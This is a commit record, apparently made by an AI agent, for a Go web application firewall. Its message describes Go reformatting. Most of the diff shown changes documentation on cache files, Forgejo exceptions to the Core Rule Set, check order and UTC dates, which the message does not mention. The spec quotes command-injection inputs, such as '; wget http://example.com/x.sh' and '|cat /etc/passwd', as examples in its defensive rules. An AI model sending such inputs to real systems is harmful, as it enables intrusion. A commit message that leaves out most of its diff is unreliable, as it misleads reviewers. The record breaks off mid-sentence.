Format Go with gofmt, then golines -m 77 (closes #215)

script/fmt now runs golines -m 77 after gofmt, repeating golines until
it changes nothing, since one pass can leave a line the next splits.
script/fmt-check fails when either would change a file.
script/bootstrap installs golines v0.13.0 with go install, pinned to
its commit, and checks the installed version with go version -m.

The tree is reformatted. The longer lines this makes are fixed by
hand: nolint directives moved onto their own line above the statement,
one string split, and 20 functions over funlen's 80 lines shortened or
split, RunWAF and limitPercentages among them.

Model: opus-5-5

AGENTS.md

@@ -37,3 +37,6 @@ These are the rules for agents working on this repository.
         - `192.168.0.0/16`.
     - `SPEC.md` states that default.
     - Forwarded headers count only when the peer is a trusted proxy.
+- Every time is in UTC, whatever `TZ` or the host's time zone says.
+    - Every day is a date written `YYYY-MM-DD`, never a time.
+    - `SPEC.md` states this near its start.

Dockerfile

@@ -222,8 +222,8 @@ RUN groupadd --system --gid 65532 sww \
         sww
 
 # The state files' directory, SWW_STATE_DIR by default, where a volume
-# is mounted to keep them across deploys. The run script gives it to the
+# is mounted to keep them across deploys. At each start of waf, the run
-# sww user at each start of waf.
+# script makes SWW_STATE_DIR if it is missing and gives it to the sww user.
 RUN mkdir /var/lib/sww
 
 # The default rule file, in SWW_RULES_DIR by default, where a Dockerfile

README.md

@@ -293,7 +293,8 @@ Every setting the code reads, with its default:
 | `SWW_REPUTATION_TIMEOUT`                 | `2s`                                                                                     | How long a DNS blocklist query or an AbuseIPDB check may take.                                                                                                                                                                                                  |
 | `SWW_STATE_DIR`                          | `/var/lib/sww`                                                                           | The directory of the state files, an absolute path.                                                                                                                                                                                                             |
 | `SWW_STATE_WRITE_DELAY`                  | `10s`                                                                                    | How long `bans.json` waits to be written after a ban is made, lifted or made permanent.                                                                                                                                                                         |
-| `SWW_STATE_COUNTER_INTERVAL`             | `15m`                                                                                    | How often every state file is written.                                                                                                                                                                                                                          |
+| `SWW_STATE_COUNTER_INTERVAL`             | `15m`                                                                                    | How often every state and cache file is written.                                                                                                                                                                                                                |
+| `SWW_CACHE_DIR`                          | `/var/cache/sww`                                                                         | The directory of the cache files, an absolute path.                                                                                                                                                                                                             |
 | `SWW_LOG_LEVEL`                          | `info`                                                                                   | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written.                                                                                                                                |
 | `SWW_LOG_REQUEST_HEADERS`                | `accept,accept-language,accept-encoding,content-type,origin,range`                       | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded.                                                                                                                                                      |
 | `SWW_LOG_REMOTE_URL`                     | unset                                                                                    | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port.                                                                                                                             |
@@ -509,7 +510,8 @@ request reaches the app.
 
 `waf` takes the checks:
 
-3. The tag lists.
+3. The header limits, then the tag lists. A client in `SWW_ALLOW_NETS` skips the
+   header limits.
 4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
 5. The bans.
 6. The lookup of the client's AS number and country.
@@ -521,7 +523,7 @@ request reaches the app.
 11. The rate limits.
 12. The trap paths.
 13. The rule files.
-14. The header limits, and then the Core Rule Set.
+14. The Core Rule Set.
 15. The tag refusals again, so that `exploitsignature` can refuse too.
 16. A path under `/_sww/` is answered `404`, so that the app never sees that
     prefix.
@@ -537,7 +539,7 @@ request reaches the app.
 A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
 Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
 positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
-request over the header limits of step 14 is answered `431`, and bans nobody
+request over the header limits of step 3 is answered `431`, and bans nobody
 either. `rproxy` itself answers `405` to a method it does not pass on, and the
 status for a size or time limit, such as `413` for a body too large.
 
@@ -579,7 +581,7 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
   headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
   front of a code forge, bodies carry what people write and publish, which the
   rules take for attacks.
-- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
+- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
   requests get through to the apps listed below. No setting undoes the changes;
   "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
 - These apps work out of the box at the default settings, and their recorded
@@ -587,6 +589,9 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
     - gitea: git over HTTP and sign-in through Git Credential Manager get
       through. On gitea's own paths, its searches, file names and branch names
       do too.
+    - Forgejo: git over HTTP and its container and package registries get
+      through. On Forgejo's own paths, its searches, file names and branch names
+      do too.
     - WordPress: saving a post from the block editor gets through. On
       WordPress's own paths, its searches, names and file names do too.
     - Drupal: on Drupal's own paths, the page to return to, its searches and its
@@ -613,15 +618,29 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
   while `waf` runs. The image ships one file of probes no real visitor sends
   (see [`docs/rules.md`](docs/rules.md)).
 
-### State files
+### State and cache files
 
-`waf` keeps everything in memory, and the five JSON files in `SWW_STATE_DIR`
+`waf` keeps everything in memory, and JSON files hold a copy:
-hold a copy: `bans.json`, `clients.json`, `lookups.json`, `reputation.json` and
+
-`alerts.json`. Each is written whole, to a temporary file renamed over the real
+- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
-one, so a crash leaves a complete file. `waf` notices a file edited on disk and
+    - `bans.json`;
-takes the edit in; an edit that does not parse is set aside as `<name>.bad`, and
+    - `clients.json`;
-never stops the running process (see
+    - `abuseipdb-checks-spent.json`;
-[`docs/state-files.md`](docs/state-files.md)).
+    - `alerts.json`.
+- The cache files, in `SWW_CACHE_DIR`, hold answers from outside services:
+    - `lookups.json`, from GeoJS;
+    - `lists.json`, the lists fetched by URL;
+    - `dnsbl.json`, from the DNS blocklists;
+    - `abuseipdb-scores.json`, from AbuseIPDB;
+    - `routewatch.json`, from routewatch.
+
+Back up the state directory. The cache directory can be left out of backups: a
+lost cache file starts empty and fills again.
+
+Each file is written whole, to a temporary file renamed over the real one, so a
+crash leaves a complete file. `waf` notices a file edited on disk and takes the
+edit in. An edit that does not parse is set aside as `<name>.bad`, and never
+stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
 
 ### The image and its processes
 
@@ -632,7 +651,7 @@ never stops the running process (see
 - runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
   and starts it again when it exits. The `run` script of `waf` gives the state
   directory to the `sww` user at each start, so a volume needs no change of
-  owner.
+  owner. It makes the cache directory for that user too.
 - `rproxy` and `waf` use no token between them. `waf`'s own endpoints, under
   `/_sww/`, are for your admin tools and your metrics collector, at its own
   address on the private network; nothing routes the internet there.
@@ -657,8 +676,8 @@ never stops the running process (see
   `internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
   source each.
 - `internal/state`, `internal/requestlog`, `internal/remotelog` and
-  `internal/metrics`: the state files, the log lines, the syslog sender and the
+  `internal/metrics`: the state and cache files, the log lines, the syslog
-  metrics.
+  sender and the metrics.
 
 ## Rationale
 
@@ -692,7 +711,8 @@ on the host.
 - `script/bootstrap`: installs on the host what the other scripts need, with
   `make bootstrap`:
     - `make`, `git` and `curl`;
-    - Go, for `gofmt`;
+    - Go, for `gofmt` and to build `golines`;
+    - `golines`, at a pinned version, with `go install`;
     - node, yarn and prettier.
 - `script/setup`: readies a fresh clone: `script/bootstrap`, then
   `script/install-precommit`. `make setup`.
@@ -709,8 +729,11 @@ on the host.
   the `tidy` stage of the `Dockerfile`. `make tidy`.
 - `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
   `make lint`.
-- `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
+- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and
-  `make fmt`.
+  the Markdown with prettier. `make fmt`.
+    - `golines` wraps code at 77 columns but leaves comments and strings alone.
+      Wrap those by hand.
+    - The linter fails only lines longer than 88 columns.
 - `script/fmt-check`: checks the formatting and changes nothing.
   `make fmt-check`.
 - `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
@@ -738,6 +761,7 @@ on the host.
       `http://127.0.0.1:8081`;
     - `waf` listens on port 8090;
     - its state files go in `bin/state`;
+    - its cache files go in `bin/cache`;
     - its rule files are those of `share/rules.d`.
 - `script/example-app`: builds the image and the example app
   (`deploy/example-app`) on it, runs the app with `rproxy` in its container and
@@ -774,8 +798,8 @@ on the host.
 - [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
   gets.
 - [`docs/metrics.md`](docs/metrics.md): the metrics.
-- [`docs/state-files.md`](docs/state-files.md): the state files and what each
+- [`docs/state-files.md`](docs/state-files.md): the state and cache files and
-  holds.
+  what each holds.
 - [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
 
 ## License

SPEC.md

@@ -12,6 +12,10 @@ it is built, except what the last section lists. `README.md` says how to run it.
 under `docs/` give the settings, the formats and the lists. This document links
 to them.
 
+The whole application stores, logs and handles every time in UTC, whatever `TZ`
+or the host's time zone says. It keeps every day as a date written `YYYY-MM-DD`,
+never as a time.
+
 ## Purpose
 
 - It protects self-hosted apps on the open internet from scrapers, scanners and
@@ -33,7 +37,7 @@ to them.
   `SWW_`, and those of `rproxy` with `SWRP_`. The only other inputs are `waf`'s
   files:
     - the rule files;
-    - the state files;
+    - the state files and the cache files;
     - a lookup database;
     - a `SWW_` setting given as a file;
     - the file `SWW_LOG_REMOTE_TLS_CA_FILE` names;
@@ -52,19 +56,19 @@ to them.
 ## Architecture
 
 - One statically linked Go binary. Only `waf` writes to disk, and only to its
-  state directory. It ships in one image, which runs either command (see
+  state directory and its cache directory. It ships in one image, which runs
-  "Deployment").
+  either command (see "Deployment").
 - No database of any kind. Nothing is read from disk while serving a request.
 - Packages:
     - `cmd/sww`: the binary, which only calls `internal/sww`.
     - `internal/sww`: the process, as the command it is given. `sww waf` reads
-      the settings, the rule files, the lookup database and the state files,
+      the settings, the rule files, the lookup database and the state and cache
-      listens, and serves until `SIGTERM` or `SIGINT`. Then it stops, writing
+      files, listens, and serves until `SIGTERM` or `SIGINT`. Then it stops,
-      the state files (see "`waf`"). `sww rproxy` reads only that command's
+      writing the state and cache files (see "`waf`"). `sww rproxy` reads only
-      settings, and runs `internal/rproxy` until `SIGTERM` or `SIGINT` (see
+      that command's settings, and runs `internal/rproxy` until `SIGTERM` or
-      "`rproxy`"). `sww healthcheck` is the image's health check. With no
+      `SIGINT` (see "`rproxy`"). `sww healthcheck` is the image's health check.
-      command, or one it does not know, the binary prints the commands and exits
+      With no command, or one it does not know, the binary prints the commands
-      with status 2.
+      and exits with status 2.
     - `internal/config`: reads the settings, the one place they are read.
     - `internal/waf`: `waf`'s server. It runs the checks in `check`, and holds
       `waf`'s question, answer and report. It answers `waf`'s own endpoints in
@@ -80,8 +84,8 @@ to them.
       of bans is full.
     - `internal/rules`: reads the rule files at start and again when they
       change, and tells which rules a request matches.
-    - `internal/coreruleset`: the Core Rule Set, with the fourteen changes
+    - `internal/coreruleset`: the Core Rule Set, with the fifteen changes listed
-      listed under "Attack detection", as Coraza directives.
+      under "Attack detection", as Coraza directives.
     - `internal/lookup`: looks clients up through GeoJS or in the lookup
       database.
     - `internal/reputation`: fetches the lists, asks the DNS blocklists and
@@ -92,8 +96,8 @@ to them.
     - `internal/alerts`: holds back repeats and alerts past the hourly limit,
       and sends the rest to the webhook, Slack and ntfy, each from a queue of
       its own.
-    - `internal/state`: reads the state files at start, takes in edits while
+    - `internal/state`: reads the state and cache files at start, takes in edits
-      running, and writes the files when due and at the stop.
+      while running, and writes the files when due and at the stop.
     - `internal/requestlog` and `internal/remotelog`: the lines on stdout, and
       sending them to the syslog server.
     - `internal/metrics`: the metrics, in the Prometheus text format.
@@ -102,7 +106,7 @@ to them.
       container, which `script/example-app` checks with `waf` in another.
 - Libraries, checked against the owner's Go dependency defaults:
     - the standard library for the reverse proxy, HTTP clients, DNS, logging
-      (`log/slog`) and the state files (`encoding/json`, `os.Rename`);
+      (`log/slog`) and the state and cache files (`encoding/json`, `os.Rename`);
     - `github.com/corazawaf/coraza/v3` and
       `github.com/corazawaf/coraza-coreruleset/v4` at `v4.25.0`, which carries
       the Core Rule Set 4.25.0. The changes `smallwebwaf` makes to it, and the
@@ -145,10 +149,12 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
     - An IPv6 client is its group: the netblock of `SWW_IPV6_GROUP_PREFIX`
       around its address, a /64 by default, since one abuser usually controls a
       whole /64. A client is therefore one IPv4 address or one IPv6 group.
-3. The tag lists (`tag_lists`; see "Request tags"). Each list that holds the
+3. The header limits (`header_limits`; see "Answering in time"). They come first
-   client adds its tag. Next, `routewatch_tags` adds the client's `asn=` and
+   after `SWW_ALLOW_NETS`, since they only count header fields and cookies.
+   Next, the tag lists (`tag_lists`; see "Request tags"). Each list that holds
+   the client adds its tag. Next, `routewatch_tags` adds the client's `asn=` and
    `prefix=` tags while `SWW_ROUTEWATCH_URL` is set. A client in
-   `SWW_ALLOW_NETS` gets no tag.
+   `SWW_ALLOW_NETS` skips the header limits and gets no tag.
 4. The static lists. A client in `SWW_ALLOW_NETS` skips steps 5 to 15, the byte
    limits and the error burst. A client in `SWW_DENY_NETS` is refused
    (`deny_nets`); a client in both lists is let through.
@@ -181,10 +187,9 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
     refused and bans the client.
 13. The rule files (`rule_files`; see "Rule files"). Matching stops at the first
     rule that refuses.
-14. The header limits (`header_limits`; see "Answering in time"), and then the
+14. The Core Rule Set (`core_rule_set`; see "Attack detection"). A match is
-    Core Rule Set (`core_rule_set`; see "Attack detection"). A Core Rule Set
+    refused with `403` while `SWW_WAF_MODE` is `block`, and only logged and
-    match is refused with `403` while `SWW_WAF_MODE` is `block`, and only logged
+    alerted while it is `detect`.
-    and alerted while it is `detect`.
 15. The tag refusals again (`tag_deny`), so that `exploitsignature` can refuse
     too.
 16. A path under `/_sww/` is answered `404`, so that the app never sees that
@@ -237,11 +242,16 @@ apply.
 ## Bans
 
 Until a ban ends, every request from its netblock is refused with
-`SWW_BAN_RESPONSE`. The netblock is the client: its IPv4 address, widened to
+`SWW_BAN_RESPONSE`, unless it is over the header limits. The netblock is the
-`SWW_BAN_SCOPE_V4_PREFIX`, or its IPv6 group. At the defaults a ban covers one
+client: its IPv4 address, widened to `SWW_BAN_SCOPE_V4_PREFIX`, or its IPv6
-address or one /64, so a permanent ban does not reach neighbours who did
+group. At the defaults a ban covers one address or one /64, so a permanent ban
-nothing. Requests refused under a ban are not counted against limits. They are
+does not reach neighbours who did nothing. Requests refused under a ban are not
-counted in the client's history and in the ban's notes.
+counted against limits. They are counted in the client's history and in the
+ban's notes.
+
+A request over the header limits is refused with `431` before the bans are
+checked (see "Answering in time"). It makes no ban, makes no ban permanent and
+is not counted in a ban's notes.
 
 An offence is a request `waf` holds against the client. It is one of:
 
@@ -357,7 +367,7 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
   one, since `rproxy` never touches disk.
 - Settings, files included, are read once at start. Changing one means
   restarting the container. The files `waf` watches while it runs are its state
-  files, its rule files and the lookup database.
+  and cache files, its rule files and the lookup database.
 - An invalid setting stops the process at start with one log line, marked
   `"type":"process"` with `"msg":"invalid setting"`. The line names the variable
   and what is wrong with the value; "Each container's processes" says what
@@ -387,10 +397,10 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
   start. The file form keeps a token out of the container's environment (see
   "Tokens" under "Deployment").
 
-### State files
+### State and cache files
 
-- `SWW_STATE_DIR` names the directory of the state files (see "State" under
+- `SWW_STATE_DIR` names the directory of the state files, and `SWW_CACHE_DIR`
-  "Deployment").
+  that of the cache files (see "State" under "Deployment").
 - `bans.json` is written `SWW_STATE_WRITE_DELAY` after a ban is made, lifted or
   made permanent, so a burst of changes becomes one write. Every file is written
   every `SWW_STATE_COUNTER_INTERVAL`, and at an orderly stop.
@@ -573,7 +583,7 @@ Each tag and where it comes from:
     - They are added before `deny_nets`, so the log line of a request it refused
       has them.
     - `waf` asks routewatch in the background and never waits for it. An answer
-      is kept for 1 hour, in memory only.
+      is kept for 1 hour, in memory and in `routewatch.json`.
     - After a query fails, routewatch is not asked for 1 minute.
     - A request without these tags gives the reason in the log field
       `routewatch_tags_missing` (see
@@ -671,7 +681,7 @@ files, the limits and the bans still apply to the client that sends it.
 - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
   Coraza directives. An exclusion switches one rule off for some fields or paths
   only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
-  holds an app's own exclusions. The eighth to fourteenth changes below hold
+  holds an app's own exclusions. The eighth to fifteenth changes below hold
   those of the apps they name.
     - `waf` loads the file after `smallwebwaf`'s own setup rules and before the
       Core Rule Set's rules. The Core Rule Set loads its own
@@ -718,10 +728,11 @@ files, the limits and the bans still apply to the client that sends it.
     scanner from an ordinary client. In front of a code forge, registry and git
     clients get `404` and `401` by design, hundreds of times a minute.
 
-`smallwebwaf` changes the Core Rule Set 4.25.0 in fourteen ways. Without them,
+`smallwebwaf` changes the Core Rule Set 4.25.0 in fifteen ways. Without them, it
-it would refuse ordinary requests to these apps:
+would refuse ordinary requests to these apps:
 
 - gitea;
+- Forgejo;
 - WordPress;
 - Drupal;
 - MediaWiki;
@@ -763,22 +774,23 @@ The changes hold in front of every app, and no setting undoes them:
     catch reaches the app, such as the command `|cat /etc/passwd`. Path
     traversal, SQL and script injection, and PHP, Java and Node.js code are
     still refused there. Other parameters keep all three rules. The eighth to
-    fourteenth changes switch some of them off for some fields on the paths of
+    fifteenth changes switch some of them off for some fields on the paths of
     the apps they name. An app that uses one of these parameters as a file on
     the server, or passes it to a shell, must check the value itself. A rule
     file can refuse it instead.
 
-5. Two cookies are left out, and `Referer` keeps fewer rules:
+5. Three cookies are left out, and `Referer` keeps fewer rules:
-    - The Core Rule Set reads the request without the `gitea_flash` and
+    - The Core Rule Set reads the request without the `gitea_flash`, `flash` and
       `redirect_to` cookies. gitea puts a message naming what was just done into
-      `gitea_flash`. It puts into `redirect_to` the page to return to after
+      `gitea_flash`, and Forgejo puts it into `flash`. Both put into
-      signing in. The Core Rule Set takes file names in them, such as
+      `redirect_to` the page to return to after signing in. The Core Rule Set
-      `package.json`, for attacks. A browser sends such a cookie with every
+      takes file names in them, such as `package.json`, for attacks. A browser
-      request until gitea replaces it. gitea cannot replace it while those
+      sends such a cookie with every request until the app replaces it. The app
-      requests are refused, so one refusal would keep the browser out of the
+      cannot replace it while those requests are refused, so one refusal would
-      whole site. gitea shows the message with any script removed and returns
+      keep the browser out of the whole site. gitea and Forgejo show the message
-      only to its own pages. Every other cookie is read in full. An app that
+      with any script removed and return only to their own pages. Every other
-      reads a cookie of either name must check it itself.
+      cookie is read in full. An app that reads a cookie of one of these names
+      must check it itself.
     - `Referer` is not checked for a Unix command given without arguments
       (932340), for Java starting a process (944110) or for a Java class name
       (944130). `Referer` names the page a request comes from, on everything
@@ -789,8 +801,9 @@ The changes hold in front of every app, and no setting undoes them:
         - a file named `java.lang.String.md`.
 
         Every request from such a page would be refused. `Referer` keeps the
-        other rules, except after some gitea searches (the eighth change). An
+        other rules, except after some searches of gitea and Forgejo (the eighth
-        app that passes `Referer` to a shell must check it itself.
+        and fifteenth changes). An app that passes `Referer` to a shell must
+        check it itself.
 
 6. Responses are not inspected. A raw file from a repository, such as a shell
    script, looks to the response rules like source code leaking from the server.
@@ -807,21 +820,41 @@ The changes hold in front of every app, and no setting undoes them:
       `SELECT * FROM users WHERE` or `../`.
     - `Referer` of a page opened from such a search, for script and SQL
       injection and Java code (941110, 941120, 941160, 942100, 944100).
-    - `q` on gitea's searches for a name, for the names of system files and
+    - `q` on gitea's searches for a name, for the lists of system files and
-      commands (930120, 932120, 932260). Names such as `.profile` and
+      command names (930120, 932120, 932250, 932260). Names such as `.profile`
-      `python3-app` were refused. gitea searches for the names of:
+      and `python3-app`, and the words `ls -la`, were refused. gitea searches
+      for the names of:
         - repositories;
         - users and organisations;
         - branches and tags;
-        - packages.
+        - packages, on its pages and in its API.
 
-        A user's or an organisation's page is any path of one segment, so on
+        A user's or an organisation's page has a path of one segment, such as
-        every such path, on any app, `q` skips these three rules, for example on
+        `/alice`. So on any app, `q` skips these rules on every path of one
-        `/search`.
+        segment, such as `/search`. But it skips 932250 only on a path made of
+        the characters a name may hold: letters, digits, `-`, `_` and dots, the
+        first a letter or digit. So `ls -la` is refused on
+        `/login.jsp;jsessionid=abc`. `q` also keeps 932250 on a path that ends
+        in a server-side script's extension, such as `/index.php`. The
+        extensions are these, in upper or lower case:
+        - `.php`;
+        - `.phtml`;
+        - `.php5`;
+        - `.cgi`;
+        - `.pl`;
+        - `.py`;
+        - `.asp`;
+        - `.aspx`;
+        - `.jsp`.
 
         Some of these searches also skip the rule for Java class names (944130),
         which refused `org.apache.commons.logging`.
 
+        A branch or package name can hold a slash, as `feat/docker-support`
+        does. So `q` on a repository's branches page and on an owner's packages
+        page also skips the rule for shell paths (932160), which refused
+        `/bin/sh`.
+
     - The path of these requests, which names a file:
         - a file's page;
         - its raw file;
@@ -1556,6 +1589,41 @@ The changes hold in front of every app, and no setting undoes them:
     `/index.php/`. Elsewhere these fields keep every rule. An app other than
     Nextcloud that serves one of these paths must check these fields itself.
 
+15. On Forgejo's paths, `q` on some of its searches skips the rules that refused
+    ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth
+    change applies to its requests too. This change holds only what Forgejo
+    sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each
+    rule and the search it refused. The searches are:
+    - the search of a wiki, on `/<owner>/<repo>/wiki/search`;
+    - the search of a repository's releases, on `/<owner>/<repo>/releases` and
+      `/api/v1/repos/<owner>/<repo>/releases`;
+    - the search of a job's log, on
+      `/api/v1/repos/<owner>/<repo>/actions/jobs/<id>/logs`.
+
+    There `q` skips these rules:
+    - system files (930120), such as `.htaccess`;
+    - Windows commands (932120), such as `powershell`;
+    - shell paths (932160), such as `/bin/sh`, except on the search of a job's
+      log;
+    - Unix commands (932250), such as `ls -la`;
+    - command names (932260), such as `python3`.
+
+    `; wget http://example.com/x.sh`, path traversal, and SQL and script
+    injection are still refused there.
+
+    The search of a repository's code at a branch or a tag is on
+    `/<owner>/<repo>/search/branch/<branch>` and
+    `/<owner>/<repo>/search/tag/<tag>`. The search box on a repository's home
+    page sends its search there when Forgejo has no code indexer, as by default.
+    There `q` skips the rules it skips on gitea's search of code in the eighth
+    change. So code, such as `<script>` or `SELECT * FROM users WHERE`, reaches
+    Forgejo in `q` there. `Referer` of a page opened from such a search skips
+    the rules for script and SQL injection and Java code, as after gitea's
+    searches (941110, 941120, 941160, 942100, 944100).
+
+    These paths are matched at the site root. An app other than Forgejo that
+    serves one of them must check `q` and `Referer` itself.
+
 The parameter and cookie names in these changes are matched without regard to
 case, as Coraza matches them.
 
@@ -1591,8 +1659,8 @@ together.
     is kept whole, comment lines included, on failure and across restarts.
 
 - Each list is fetched again `SWW_BLOCKLIST_REFRESH` after its last try, one
-  list at a time. `reputation.json` keeps when each was last tried, so a restart
+  list at a time. `lists.json` keeps when each was last tried, so a restart does
-  does not fetch a list again before its time. A fetch fails when:
+  not fetch a list again before its time. A fetch fails when:
     - the server answers other than `200`;
     - the fetch does not finish within a minute;
     - the list is longer than 16 MiB;
@@ -1636,9 +1704,9 @@ together.
     DNS blocklists made for mail servers list residential ranges, and would
     block ordinary visitors, so they should not be used. Spamhaus zones need
     their keyed query service, given as a zone name that contains the key. `waf`
-    shows the key as `********` wherever it names the zone. Only
+    shows the key as `********` wherever it names the zone. Only `dnsbl.json`
-    `reputation.json` keeps the key. `SWW_DNSBL_RESOLVER` names a resolver,
+    keeps the key. `SWW_DNSBL_RESOLVER` names a resolver, since public resolvers
-    since public resolvers are refused by several list operators.
+    are refused by several list operators.
 
 - AbuseIPDB (`SWW_ABUSEIPDB_KEY`) is asked, at its check endpoint, for the abuse
   confidence score of a client, from 0 to 100. Only a client that has already
@@ -1649,11 +1717,11 @@ together.
   client's later requests. For an IPv6 client, AbuseIPDB is asked about the
   address of the request that set off the check, and the score is used for the
   whole group. A score at or over `SWW_ABUSEIPDB_MIN_SCORE` is a hit. The budget
-  is counted in UTC days and kept in `reputation.json`, so a restart does not
+  is counted in UTC days and kept in `abuseipdb-checks-spent.json`, so a restart
-  make it whole again. The check that spends the last of it is logged and
+  does not make it whole again. The check that spends the last of it is logged
-  alerted, and no client is checked until the day ends. The key is sent in the
+  and alerted, and no client is checked until the day ends. The key is sent in
-  `Key` header and nowhere else, and is never logged. A check fails, after which
+  the `Key` header and nowhere else, and is never logged. A check fails, after
-  no client is checked for a minute, when:
+  which no client is checked for a minute, when:
     - AbuseIPDB answers other than `200`;
     - the answer gives no score;
     - no answer comes within `SWW_REPUTATION_TIMEOUT`.
@@ -1661,9 +1729,9 @@ together.
   by default. Such verdicts are less certain than a blocklist, so a listed
   client gets a quarter of every request and byte limit rather than a refusal.
 - Verdicts and scores are kept for `SWW_REPUTATION_CACHE_TTL`, in memory and in
-  `reputation.json`. A source that is down or over quota gives no verdict. The
+  `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over quota
-  service continues. Each failure raises a `source_failure` alert (see
+  gives no verdict. The service continues. Each failure raises a
-  "Alerting").
+  `source_failure` alert (see "Alerting").
 
 ### Alerting
 
@@ -1766,20 +1834,43 @@ default file.
 
 ## Persistent state
 
-All state lives in memory, and the files in `SWW_STATE_DIR` hold a copy of it,
+All state lives in memory, and JSON files hold a copy of it, so an orderly stop
-so an orderly stop loses nothing. The files are meant for people as well: an
+loses nothing. The files are meant for people as well: an admin can read or edit
-admin can read or edit them at any time, and the running `waf` takes the edit
+them at any time, and the running `waf` takes the edit in. `docs/state-files.md`
-in. `docs/state-files.md` lists the files, what each holds, and their sizes.
+lists the files, what each holds, and their sizes.
 
+- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
+    - `bans.json`;
+    - `clients.json`;
+    - `abuseipdb-checks-spent.json`;
+    - `alerts.json`.
+- The cache files, in `SWW_CACHE_DIR`, hold the answers of outside services:
+    - `lookups.json`;
+    - `lists.json`;
+    - `dnsbl.json`;
+    - `abuseipdb-scores.json`;
+    - `routewatch.json`.
+- A lost cache file costs only questions asked again, so the cache directory can
+  be left out of backups.
 - Each file holds one kind of state, as JSON with:
     - a top-level `version` number;
     - entries sorted by client address;
     - times in RFC 3339 UTC;
+    - days as `YYYY-MM-DD`;
     - durations and sizes as plain numbers, with the unit in the field name.
-- `bans.json`, `reputation.json` and `alerts.json` are indented, so that a
+- These files are indented, so that a person can open `bans.json` in an editor,
-  person can open `bans.json` in an editor, find an address, and remove or add
+  find an address, and remove or add an entry:
-  an entry. `clients.json` and `lookups.json` put each entry on one line, which
+    - `bans.json`;
-  halves their size and lets `grep` show everything about one client.
+    - `abuseipdb-checks-spent.json`;
+    - `alerts.json`;
+    - `lists.json`.
+- The others put each entry on one line, which halves their size and lets `grep`
+  show everything about one client:
+    - `clients.json`;
+    - `lookups.json`;
+    - `dnsbl.json`;
+    - `abuseipdb-scores.json`;
+    - `routewatch.json`.
 - Clients that were never banned are kept too, so every client's history
   survives a restart.
 - Each file has a bound, so it can be rewritten whole. Writing one takes well
@@ -1793,8 +1884,8 @@ in. `docs/state-files.md` lists the files, what each holds, and their sizes.
   disk, so an admin's edit is never overwritten.
 - At start, the files are read back. Active bans go into an in-memory lookup by
   netblock, everything else into maps. Expired cache entries are discarded. A
-  missing file means empty state, and is normal on first run. These stop the
+  missing file means empty state, and is normal on first run. In a state file,
-  process with a message naming the file and position:
+  these stop the process with a message naming the file and position:
     - a file that does not parse, or has an unknown `version`;
     - an entry without a field it needs;
     - a ban whose cause is not one of the four;
@@ -1804,6 +1895,11 @@ in. `docs/state-files.md` lists the files, what each holds, and their sizes.
     Since writes are atomic, a broken file can only come from a hand edit, which
     the editor should hear about.
 
+- A cache file never stops the start. One that does not parse is set aside as
+  `<name>.bad`, as an edit is below. One that cannot be read is logged and
+  written over at its next write. Either way its cache starts empty and fills
+  again.
+
 - While running, `waf` notices a file that is edited, replaced or added. It
   tells its own writes from an admin's by comparing the file with what it last
   read or wrote. An edit that parses is taken in at once: what the file says
@@ -1894,10 +1990,10 @@ each app. `rproxy` asks `waf` about each visitor's request. `waf` answers
 This section is the agreement between the two. The header names, the fields and
 the statuses below are exact.
 
-`waf` reads the settings, the rule files, the lookup database and the state
+`waf` reads the settings, the rule files, the lookup database and the state and
-files, and listens at `SWW_LISTEN_ADDR`. On `SIGTERM` or `SIGINT` it stops
+cache files, and listens at `SWW_LISTEN_ADDR`. On `SIGTERM` or `SIGINT` it stops
 taking requests and gives those in progress five seconds to finish. It then
-writes the state files.
+writes the state and cache files.
 
 ### The question
 
@@ -2020,7 +2116,6 @@ waits on these, which run in the background:
 
 In `enforce` mode, a question does not wait for GeoJS when it is a request:
 
-- over the header limits;
 - from a client on a fetched blocklist, while `SWW_BLOCKLIST_ACTION` is `deny`;
 - from a client on the CrowdSec decision list;
 - that would take its client over a rate limit at 100% of it, since a percentage
@@ -2032,8 +2127,8 @@ number and country stay unknown until GeoJS has answered. So while
 `SWW_UNKNOWN_LIMIT_PERCENT` does not apply to it until then, so not waiting
 never lowers its limit.
 
-The static lists and bans come before the lookup, so they never wait. These can
+The header limits, the static lists and bans come before the lookup, so they
-still wait for GeoJS:
+never wait. These can still wait for GeoJS:
 
 - a country list, which needs the answer;
 - a rate limit a percentage has lowered, which needs the answer;
@@ -2052,13 +2147,17 @@ either one:
 
 Real clients never reach these limits. The answer is `deny` with `431`, and the
 log line's action is `request_header_too_large`. The refusal makes no ban and is
-no offence. The rate limits count the request as usual, so a client that keeps
